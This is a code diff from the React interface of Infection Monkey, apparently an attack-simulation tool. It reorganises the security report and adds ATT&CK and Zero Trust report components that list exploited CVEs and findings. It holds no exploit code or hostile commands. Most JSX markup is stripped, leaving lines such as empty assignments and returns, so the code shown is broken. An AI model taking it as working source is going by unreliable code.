    {content} @@ -88,15 +90,15 @@ class ReportPageComponent extends AuthComponent { ); } + stillLoadingDataFromServer() { + return Object.keys(this.state.report).length === 0; + } + updateMonkeysRunning = () => { return this.authFetch('/api') .then(res => res.json()) .then(res => { - // This check is used to prevent unnecessary re-rendering - this.setState({ - allMonkeysAreDead: (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done']), - runStarted: res['completed_steps']['run_monkey'] - }); + this.setState(extractExecutionStatusFromServerResponse(res)); return res; }); }; @@ -115,7 +117,7 @@ class ReportPageComponent extends AuthComponent { getReportFromServer(res) { if (res['completed_steps']['run_monkey']) { - this.authFetch('/api/report') + this.authFetch('/api/report/security') .then(res => res.json()) .then(res => { this.setState({ @@ -126,48 +128,36 @@ class ReportPageComponent extends AuthComponent { } generateReportContent() { + let content; + + if (this.stillLoadingDataFromServer()) { + content = ; + } else { + content = +
    + {this.generateReportOverviewSection()} + {this.generateReportFindingsSection()} + {this.generateReportRecommendationsSection()} + {this.generateReportGlanceSection()} + {this.generateAttackSection()} + {this.generateReportFooter()} +
    ; + } + return ( -
    -
    - + +
    + {print();}} />
    - {this.generateReportHeader()} +
    - {this.generateReportOverviewSection()} - {this.generateReportFindingsSection()} - {this.generateReportRecommendationsSection()} - {this.generateReportGlanceSection()} - {this.generateReportFooter()} + {content}
    -
    - +
    + {print();}} />
    -
    - ); - } - - generateReportHeader() { - return ( -
    -
    -

    Security Report

    -

    Infection Monkey

    -
    - -
    - - - + ); } @@ -177,27 +167,8 @@ class ReportPageComponent extends AuthComponent {

    Overview

    - { - this.state.report.glance.exploited.length > 0 ? - (

    - - Critical security issues were detected! -

    ) : - (

    - - No critical security issues were detected. -

    ) - } - { - this.state.allMonkeysAreDead ? - '' - : - (

    - - Some monkeys are still running. To get the best report it's best to wait for all of them to finish - running. -

    ) - } + 0}/> + { this.state.report.glance.exploited.length > 0 ? '' @@ -298,7 +269,7 @@ class ReportPageComponent extends AuthComponent { return x === true; }).length > 0 ?
    - During this simulated attack the Monkey uncovered {this.state.report.overview.issues.filter(function (x) { return x === true; @@ -312,6 +283,10 @@ class ReportPageComponent extends AuthComponent {
  • Elasticsearch servers are vulnerable to CVE-2015-1427.
  • : null} + {this.state.report.overview.issues[this.Issue.VSFTPD] ? +
  • VSFTPD is vulnerable to CVE-2011-2523. +
  • : null} {this.state.report.overview.issues[this.Issue.SAMBACRY] ?
  • Samba servers are vulnerable to ‘SambaCry’ ( CVE-2017-5638)
  • : null } {this.state.report.overview.issues[this.Issue.WEBLOGIC] ? -
  • Oracle WebLogic servers are vulnerable to remote code execution. ( - CVE-2017-10271)
  • : null } +
  • Oracle WebLogic servers are susceptible to a remote code execution vulnerability.
  • : null } {this.state.report.overview.issues[this.Issue.HADOOP] ?
  • Hadoop/Yarn servers are vulnerable to remote code execution.
  • : null } {this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ? @@ -422,6 +395,7 @@ class ReportPageComponent extends AuthComponent { ); } + generateReportGlanceSection() { let exploitPercentage = (100 * this.state.report.glance.exploited.length) / this.state.report.glance.scanned.length; @@ -503,6 +477,21 @@ class ReportPageComponent extends AuthComponent { ); } + generateAttackSection() { + return (
    +

    + ATT&CK report +

    +

    + This report shows information about ATT&CK techniques used by Infection Monkey. +

    +
    + +
    +
    +
    ) + } + generateReportFooter() { return (
    +

    5. Zero Trust Report

    +
    + {content} +
    + + ); + } + + generateReportContent() { + let content; + + if (this.stillLoadingDataFromServer()) { + content = ; + } else { + content =
    + + + +
    ; + } + + return ( + +
    + { + print(); + }}/> +
    +
    + +
    + {content} +
    +
    + { + print(); + }}/> +
    +
    + ) + } + + stillLoadingDataFromServer() { + return typeof this.state.findings === "undefined" + || typeof this.state.pillars === "undefined" + || typeof this.state.principles === "undefined"; + } + + getZeroTrustReportFromServer() { + let res; + this.authFetch('/api/report/zero_trust/findings') + .then(res => res.json()) + .then(res => { + this.setState({ + findings: res + }); + }); + this.authFetch('/api/report/zero_trust/principles') + .then(res => res.json()) + .then(res => { + this.setState({ + principles: res + }); + }); + this.authFetch('/api/report/zero_trust/pillars') + .then(res => res.json()) + .then(res => { + this.setState({ + pillars: res + }); + }); + } +} + +export default ZeroTrustReportPageComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/ExecutionStatus.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/ExecutionStatus.js new file mode 100644 index 000000000..840e570d7 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/ExecutionStatus.js @@ -0,0 +1,6 @@ +export function extractExecutionStatusFromServerResponse(res) { + return { + allMonkeysAreDead: (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done']), + runStarted: res['completed_steps']['run_monkey'] + }; +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/MonkeysStillAliveWarning.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/MonkeysStillAliveWarning.js new file mode 100644 index 000000000..7b72570fa --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/MonkeysStillAliveWarning.js @@ -0,0 +1,21 @@ +import React, {Component} from "react"; +import * as PropTypes from "prop-types"; + +export default class MonkeysStillAliveWarning extends Component { + render() { + return
    + { + this.props.allMonkeysAreDead ? + '' + : + (

    + + Some monkeys are still running. To get the best report it's best to wait for all of them to finish + running. +

    ) + } +
    + } +} + +MonkeysStillAliveWarning.propTypes = {allMonkeysAreDead: PropTypes.bool}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/MustRunMonkeyWarning.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/MustRunMonkeyWarning.js new file mode 100644 index 000000000..f1d23e302 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/MustRunMonkeyWarning.js @@ -0,0 +1,11 @@ +import React, {Component} from "react"; +import {NavLink} from "react-router-dom"; + +export default class MustRunMonkeyWarning extends Component { + render() { + return

    + + You have to run a monkey before generating a report! +

    + } +} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js new file mode 100644 index 000000000..5bc6183fd --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js @@ -0,0 +1,36 @@ +import React, {Component} from "react"; +import ReactTable from "react-table"; +import * as PropTypes from "prop-types"; + +class PaginatedTable extends Component { + render() { + if (this.props.data.length > 0) { + let defaultPageSize = this.props.data.length > this.props.pageSize ? this.props.pageSize : this.props.data.length; + let showPagination = this.props.data.length > this.props.pageSize; + + return ( +
    + +
    + ); + } + else { + return ( +
    + ); + } + } +} + +export default PaginatedTable; + +PaginatedTable.propTypes = { + data: PropTypes.array, + columns: PropTypes.array, + pageSize: PropTypes.number, +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/PrintReportButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/PrintReportButton.js new file mode 100644 index 000000000..1a692bd68 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/PrintReportButton.js @@ -0,0 +1,14 @@ +import React, {Component} from "react"; +import {Button} from "react-bootstrap"; +import * as PropTypes from "prop-types"; + +export default class PrintReportButton extends Component { + render() { + return
    + +
    + } +} + +PrintReportButton.propTypes = {onClick: PropTypes.func}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js new file mode 100644 index 000000000..44d470f7e --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js @@ -0,0 +1,45 @@ +import React, {Component} from "react"; +import {Col} from "react-bootstrap"; +import * as PropTypes from "prop-types"; + +let monkeyLogoImage = require('../../../images/monkey-icon.svg'); + +export const ReportTypes = { + zeroTrust: "Zero Trust", + security: "Security", + null: "" +}; + +export class ReportHeader extends Component { + report_type; + + render() { + return
    +
    +

    + {this.props.report_type} Report

    +

    Infection Monkey

    +
    + +
    + + + + } +} + +export default ReportHeader; + +ReportHeader.propTypes = { + report_type: PropTypes.string, +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportLoader.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportLoader.js new file mode 100644 index 000000000..e389f7532 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportLoader.js @@ -0,0 +1,28 @@ +import {css} from "@emotion/core"; +import React, {Component} from "react"; +import {GridLoader} from "react-spinners"; +import * as PropTypes from "prop-types"; + +const loading_css_override = css` + display: block; + margin-right: auto; + margin-left: auto; +`; + + +export default class ReportLoader extends Component { + render() { + return
    +

    Generating Report...

    + +
    + } +} + +ReportLoader.propTypes = {loading: PropTypes.bool}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/SecurityIssuesGlance.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/SecurityIssuesGlance.js new file mode 100644 index 000000000..41a45edad --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/SecurityIssuesGlance.js @@ -0,0 +1,22 @@ +import React, {Component, Fragment} from "react"; +import * as PropTypes from "prop-types"; + +export default class SecurityIssuesGlance extends Component { + render() { + return + { + this.props.issuesFound ? + (

    + + Critical security issues were detected! +

    ) : + (

    + + No critical security issues were detected. +

    ) + } +
    + } +} + +SecurityIssuesGlance.propTypes = {issuesFound: PropTypes.bool}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js new file mode 100644 index 000000000..13f9cd92e --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js @@ -0,0 +1,200 @@ +import React from 'react'; +import {Col} from 'react-bootstrap'; +import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; +import {edgeGroupToColor, options} from 'components/map/MapOptions'; +import '../../../styles/Collapse.scss'; +import AuthComponent from '../../AuthComponent'; +import {ScanStatus} from "../../attack/techniques/Helpers"; +import Collapse from '@kunukn/react-collapse'; + +import T1210 from '../../attack/techniques/T1210'; +import T1197 from '../../attack/techniques/T1197'; +import T1110 from '../../attack/techniques/T1110'; +import T1075 from "../../attack/techniques/T1075"; +import T1003 from "../../attack/techniques/T1003"; +import T1059 from "../../attack/techniques/T1059"; +import T1086 from "../../attack/techniques/T1086"; +import T1082 from "../../attack/techniques/T1082"; +import T1145 from "../../attack/techniques/T1145"; +import T1105 from "../../attack/techniques/T1105"; +import T1107 from "../../attack/techniques/T1107"; +import T1065 from "../../attack/techniques/T1065"; +import T1035 from "../../attack/techniques/T1035"; +import T1129 from "../../attack/techniques/T1129"; +import T1106 from "../../attack/techniques/T1106"; +import T1188 from "../../attack/techniques/T1188"; +import T1090 from "../../attack/techniques/T1090"; +import T1041 from "../../attack/techniques/T1041"; +import T1222 from "../../attack/techniques/T1222"; +import T1005 from "../../attack/techniques/T1005"; +import T1018 from "../../attack/techniques/T1018"; +import T1016 from "../../attack/techniques/T1016"; +import T1021 from "../../attack/techniques/T1021"; +import T1064 from "../../attack/techniques/T1064"; +import {extractExecutionStatusFromServerResponse} from "../common/ExecutionStatus"; + +const tech_components = { + 'T1210': T1210, + 'T1197': T1197, + 'T1110': T1110, + 'T1075': T1075, + 'T1003': T1003, + 'T1059': T1059, + 'T1086': T1086, + 'T1082': T1082, + 'T1145': T1145, + 'T1065': T1065, + 'T1105': T1105, + 'T1035': T1035, + 'T1129': T1129, + 'T1106': T1106, + 'T1107': T1107, + 'T1188': T1188, + 'T1090': T1090, + 'T1041': T1041, + 'T1222': T1222, + 'T1005': T1005, + 'T1018': T1018, + 'T1016': T1016, + 'T1021': T1021, + 'T1064': T1064 +}; + +const classNames = require('classnames'); + +class AttackReportPageComponent extends AuthComponent { + + constructor(props) { + super(props); + this.state = { + report: false, + allMonkeysAreDead: false, + runStarted: true, + collapseOpen: '' + }; + } + + componentDidMount() { + this.updateMonkeysRunning().then(res => this.getReportFromServer(res)); + } + + updateMonkeysRunning = () => { + return this.authFetch('/api') + .then(res => res.json()) + .then(res => { + this.setState(extractExecutionStatusFromServerResponse(res)); + return res; + }); + }; + + getReportFromServer(res) { + if (res['completed_steps']['run_monkey']) { + this.authFetch('/api/attack/report') + .then(res => res.json()) + .then(res => { + this.setState({ + report: res + }); + }); + } + } + + onToggle = technique => + this.setState(state => ({ collapseOpen: state.collapseOpen === technique ? null : technique })); + + getComponentClass(tech_id){ + switch (this.state.report[tech_id].status) { + case ScanStatus.SCANNED: + return 'collapse-info'; + case ScanStatus.USED: + return 'collapse-danger'; + default: + return 'collapse-default'; + } + } + + getTechniqueCollapse(tech_id){ + return ( +
    + + { + this.setState({ tech_id: collapseState }); + }} + onInit={({ collapseState }) => { + this.setState({ tech_id: collapseState }); + }} + render={collapseState => this.createTechniqueContent(collapseState, tech_id)}/> +
    + ); + } + + createTechniqueContent(collapseState, technique) { + const TechniqueComponent = tech_components[technique]; + return ( +
    + +
    + ); + } + + renderLegend() { + return(
    + + - Unscanned + + + + - Scanned + + + + - Used + + ) + } + + generateReportContent(){ + let content = []; + Object.keys(this.state.report).forEach((tech_id) => { + content.push(this.getTechniqueCollapse(tech_id)) + }); + return ( +
    + {this.renderLegend()} +
    {content}
    +
    + ) + } + + render() { + let content; + if (! this.state.runStarted) + { + content = +

    + + You have to run a monkey before generating a report! +

    ; + } else if (this.state.report === false){ + content = (

    Generating Report...

    ); + } else if (Object.keys(this.state.report).length === 0) { + if (this.state.runStarted) { + content = (

    No techniques were scanned

    ); + } + } else { + content = this.generateReportContent(); + } + return (
    {content}
    ); + } +} + +export default AttackReportPageComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.js similarity index 100% rename from monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js rename to monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.js diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/CollapsibleWell.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/CollapsibleWell.js similarity index 100% rename from monkey/monkey_island/cc/ui/src/components/report-components/CollapsibleWell.js rename to monkey/monkey_island/cc/ui/src/components/report-components/security/CollapsibleWell.js diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js similarity index 92% rename from monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js rename to monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js index 763b35de8..ea39e3c45 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js @@ -2,7 +2,7 @@ import React from 'react'; import ReactTable from 'react-table' let renderArray = function(val) { - return {val.map(x => {x})}; + return {val.map(x => {x})}; }; let renderIpAddresses = function (val) { @@ -24,7 +24,7 @@ let renderPbaResults = function (results) { }; const subColumns = [ - {id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'whiteSpace': 'unset' }}, + {id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'whiteSpace': 'unset' }, width: 160}, {id: 'pba_output', Header: "Output", accessor: x => renderPbaResults(x.result), style: { 'whiteSpace': 'unset' }} ]; @@ -36,7 +36,7 @@ let renderDetails = function (data) { columns={subColumns} defaultPageSize={defaultPageSize} showPagination={showPagination} - style={{"background-color": "#ededed"}} + style={{"backgroundColor": "#ededed"}} /> }; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/ScannedServers.js similarity index 100% rename from monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js rename to monkey/monkey_island/cc/ui/src/components/report-components/security/ScannedServers.js diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/StolenPasswords.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/StolenPasswords.js similarity index 100% rename from monkey/monkey_island/cc/ui/src/components/report-components/StolenPasswords.js rename to monkey/monkey_island/cc/ui/src/components/report-components/security/StolenPasswords.js diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/StrongUsers.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/StrongUsers.js similarity index 100% rename from monkey/monkey_island/cc/ui/src/components/report-components/StrongUsers.js rename to monkey/monkey_island/cc/ui/src/components/report-components/security/StrongUsers.js diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js new file mode 100644 index 000000000..761ff94a9 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js @@ -0,0 +1,43 @@ +import React, {Component, Fragment} from "react"; +import EventsModal from "./EventsModal"; +import {Badge, Button} from "react-bootstrap"; +import * as PropTypes from "prop-types"; + +export default class EventsButton extends Component { + constructor(props) { + super(props); + this.state = { + isShow: false + } + } + + hide = () => { + this.setState({isShow: false}); + }; + + show = () => { + this.setState({isShow: true}); + }; + + render() { + return + +
    + +
    +
    ; + } + + createEventsAmountBadge() { + const eventsAmountBadgeContent = this.props.events.length > 9 ? "9+" : this.props.events.length; + return {eventsAmountBadgeContent}; + } +} + +EventsButton.propTypes = { + events: PropTypes.array, + exportFilename: PropTypes.string, +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js new file mode 100644 index 000000000..a7f2fe41c --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js @@ -0,0 +1,51 @@ +import React, {Component} from "react"; +import {Badge, Modal} from "react-bootstrap"; +import EventsTimeline from "./EventsTimeline"; +import * as PropTypes from "prop-types"; +import saveJsonToFile from "../../utils/SaveJsonToFile"; +import EventsModalButtons from "./EventsModalButtons"; +import Pluralize from 'pluralize' +import {statusToLabelType} from "./StatusLabel"; + +export default class EventsModal extends Component { + constructor(props) { + super(props); + } + + render() { + return ( +
    + this.props.hideCallback()}> + +

    +
    Events
    +

    +
    +

    + There {Pluralize('is', this.props.events.length)} {

    {this.props.events.length}
    } {Pluralize('event', this.props.events.length)} associated with this finding. +

    + {this.props.events.length > 5 ? this.renderButtons() : null} + + {this.renderButtons()} +
    +
    +
    + ); + } + + renderButtons() { + return this.props.hideCallback()} + onClickExport={() => { + const dataToSave = this.props.events; + const filename = this.props.exportFilename; + saveJsonToFile(dataToSave, filename); + }}/>; + } +} + +EventsModal.propTypes = { + showEvents: PropTypes.bool, + events: PropTypes.array, + hideCallback: PropTypes.func, +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModalButtons.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModalButtons.js new file mode 100644 index 000000000..962c54893 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModalButtons.js @@ -0,0 +1,20 @@ +import React, {Component} from "react"; +import ExportEventsButton from "./ExportEventsButton"; +import * as PropTypes from "prop-types"; + +export default class EventsModalButtons extends Component { + render() { + return
    + + +
    + } +} + +EventsModalButtons.propTypes = { + onClickClose: PropTypes.func, + onClickExport: PropTypes.func +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js new file mode 100644 index 000000000..b7fb90811 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js @@ -0,0 +1,36 @@ +import React, {Component} from "react"; +import {Timeline, TimelineEvent} from "react-event-timeline"; +import * as PropTypes from "prop-types"; + +let monkeyLocalIcon = require('../../../images/zerotrust/im-alert-machine-icon.svg'); +let monkeyNetworkIcon = require('../../../images/zerotrust/im-alert-network-icon.svg'); + +const eventTypeToIcon = { + "monkey_local": monkeyLocalIcon, + "monkey_network": monkeyNetworkIcon, +}; + +export default class EventsTimeline extends Component { + render() { + return ( +
    + + { + this.props.events.map((event, index) => { + const event_time = new Date(event.timestamp['$date']).toString(); + return (}> + {event.message} + ) + }) + } + +
    + ); + } +} + +EventsTimeline.propTypes = {events: PropTypes.array}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js new file mode 100644 index 000000000..bb6fc6c45 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js @@ -0,0 +1,15 @@ +import React, {Component} from "react"; +import {Button} from "react-bootstrap"; +import * as PropTypes from "prop-types"; + +export default class ExportEventsButton extends Component { + render() { + return + } +} + +ExportEventsButton.propTypes = {onClick: PropTypes.func}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js new file mode 100644 index 000000000..95b9d0389 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js @@ -0,0 +1,63 @@ +import React, {Component, Fragment} from "react"; +import PillarLabel from "./PillarLabel"; +import EventsButton from "./EventsButton"; +import ZeroTrustPillars, {ZeroTrustStatuses} from "./ZeroTrustPillars"; +import {FindingsTable} from "./FindingsTable"; + + +class FindingsSection extends Component { + mapFindingsByStatus() { + const statusToFindings = {}; + for (const key in ZeroTrustStatuses) { + statusToFindings[ZeroTrustStatuses[key]] = []; + } + + this.props.findings.map((finding) => { + // Deep copy + const newFinding = JSON.parse(JSON.stringify(finding)); + newFinding.pillars = newFinding.pillars.map((pillar) => { + return {name: pillar, status: this.props.pillarsToStatuses[pillar]} + }); + statusToFindings[newFinding.status].push(newFinding); + }); + return statusToFindings; + } + + render() { + const findingsByStatus = this.mapFindingsByStatus(); + return ( +
    +

    Findings

    +

    + Deep-dive into the details of each test, and see the explicit events and exact timestamps in which things + happened in your network. This will enable you to match up with your SOC logs and alerts and to gain deeper + insight as to what exactly happened during this test. +

    + + + + +
    + ); + } + + getFilteredFindings(statusToFilter) { + const findings = this.props.findings.map((finding) => { + // Deep copy + const newFinding = JSON.parse(JSON.stringify(finding)); + if (newFinding.status === statusToFilter) { + newFinding.pillars = newFinding.pillars.map((pillar) => { + return {name: pillar, status: this.props.pillarsToStatuses[pillar]} + }); + return newFinding; + } + }); + // Filter nulls out of the list + return findings.filter(function (el) { + return el != null; + }); + } +} + + +export default FindingsSection; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js new file mode 100644 index 000000000..acff1df89 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js @@ -0,0 +1,53 @@ +import React, {Component, Fragment} from "react"; +import StatusLabel from "./StatusLabel"; +import PaginatedTable from "../common/PaginatedTable"; +import * as PropTypes from "prop-types"; +import PillarLabel from "./PillarLabel"; +import EventsButton from "./EventsButton"; + +const EVENTS_COLUMN_MAX_WIDTH = 160; +const PILLARS_COLUMN_MAX_WIDTH = 200; +const columns = [ + { + columns: [ + { + Header: 'Finding', accessor: 'test', + style: {'whiteSpace': 'unset'} // This enables word wrap + }, + + { + Header: 'Events', id: "events", + accessor: x => { + return ; + }, + maxWidth: EVENTS_COLUMN_MAX_WIDTH, + }, + + { + Header: 'Pillars', id: "pillars", + accessor: x => { + const pillars = x.pillars; + const pillarLabels = pillars.map((pillar) => + + ); + return
    {pillarLabels}
    ; + }, + maxWidth: PILLARS_COLUMN_MAX_WIDTH, + style: {'whiteSpace': 'unset'} + }, + ] + } +]; + + +export class FindingsTable extends Component { + render() { + return +

    { + } tests' findings

    + +
    + } +} + +FindingsTable.propTypes = {data: PropTypes.array, status: PropTypes.string}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js new file mode 100644 index 000000000..51c5ca380 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js @@ -0,0 +1,25 @@ +import React, {Component} from "react"; +import {statusToLabelType} from "./StatusLabel"; +import * as PropTypes from "prop-types"; + +const pillarToIcon = { + "Data": "fa fa-database", + "People": "fa fa-user", + "Networks": "fa fa-wifi", + "Workloads": "fa fa-cloud", + "Devices": "fa fa-laptop", + "Visibility & Analytics": "fa fa-eye-slash", + "Automation & Orchestration": "fa fa-cogs", +}; + +export default class PillarLabel extends Component { + render() { + const className = "label " + statusToLabelType[this.props.status]; + return
    {this.props.pillar}
    + } +} + +PillarLabel.propTypes = { + status: PropTypes.string, + pillar: PropTypes.string, +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js new file mode 100644 index 000000000..7cefcab61 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js @@ -0,0 +1,17 @@ +import React, {Component} from "react"; +import * as PropTypes from "prop-types"; +import ResponsiveVennDiagram from "./venn-components/ResponsiveVennDiagram"; + +class PillarOverview extends Component { + render() { + return (
    + +
    ); + } +} + +export default PillarOverview; + +PillarOverview.propTypes = { + grades: PropTypes.array, +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js new file mode 100644 index 000000000..bb957d42d --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js @@ -0,0 +1,31 @@ +import React, {Component} from "react"; +import SinglePillarPrinciplesStatus from "./SinglePillarPrinciplesStatus"; +import * as PropTypes from "prop-types"; + +export default class PrinciplesSection extends Component { + render() { + return
    +

    Test Results

    +

    + The + Zero Trust eXtended (ZTX) framework + is composed of 7 pillars. Each pillar is built of + several guiding principles tested by the Infection Monkey. +

    + { + Object.keys(this.props.principles).map((pillar) => + + ) + } +
    + } +} + +PrinciplesSection.propTypes = { + principles: PropTypes.object, + pillarsToStatuses: PropTypes.object +}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js new file mode 100644 index 000000000..b50ee0c28 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js @@ -0,0 +1,71 @@ +import React, {Fragment} from "react"; +import PaginatedTable from "../common/PaginatedTable"; +import AuthComponent from "../../AuthComponent"; +import StatusLabel from "./StatusLabel"; +import * as PropTypes from "prop-types"; +import {ZeroTrustStatuses} from "./ZeroTrustPillars"; + + +const MAX_WIDTH_STATUS_COLUMN = 80; +const columns = [ + { + columns: [ + { Header: 'Status', id: 'status', + accessor: x => { + return ; + }, + maxWidth: MAX_WIDTH_STATUS_COLUMN + }, + { Header: 'Zero Trust Principle', accessor: 'principle', + style: {'whiteSpace': 'unset'} // This enables word wrap + }, + { Header: 'Monkey Tests', id: 'tests', + style: {'whiteSpace': 'unset'}, // This enables word wrap + accessor: x => { + return ; + } + } + ] + } +]; + +class TestsStatus extends AuthComponent { + render() { + return ( + + {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.failed)} + {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.verify)} + {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.passed)} + {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.unexecuted)} + + ); + } + + getFilteredTestsByStatusIfAny(statusToFilter) { + const filteredTests = this.props.tests.filter((test) => { + return (test.status === statusToFilter); + } + ); + + if (filteredTests.length > 0) { + const listItems = filteredTests.map((test) => { + return (
  • {test.test}
  • ) + }); + return + +
      {listItems}
    +
    ; + } + return ; + } +} + +export class PrinciplesStatusTable extends AuthComponent { + render() { + return ; + } +} + +export default PrinciplesStatusTable; + +PrinciplesStatusTable.propTypes = {principlesStatus: PropTypes.array}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js new file mode 100644 index 000000000..5ef75f2b4 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js @@ -0,0 +1,60 @@ +import React, {Component} from "react"; +import StatusLabel from "./StatusLabel"; +import {ZeroTrustStatuses} from "./ZeroTrustPillars"; +import {NavLink} from "react-router-dom"; +import {Panel} from "react-bootstrap"; + + +class ZeroTrustReportLegend extends Component { + render() { + const legendContent = this.getLegendContent(); + + return ( + + + +

    Legend

    +
    +
    + + + {legendContent} + + +
    + ); + } + + getLegendContent() { + return
    +
      +
    • +
      + +
      + {"\t"}At least one of the tests related to this component failed. This means that the Infection Monkey detected an unmet Zero Trust requirement. +
    • +
    • +
      + +
      + {"\t"}At least one of the tests’ results related to this component requires further manual verification. +
    • +
    • +
      + +
      + {"\t"}All Tests related to this pillar passed. No violation of a Zero Trust guiding principle was detected. +
    • +
    • +
      + +
      + {"\t"}This status means the test wasn't executed.To activate more tests, refer to the Monkey configuration page. +
    • +
    +
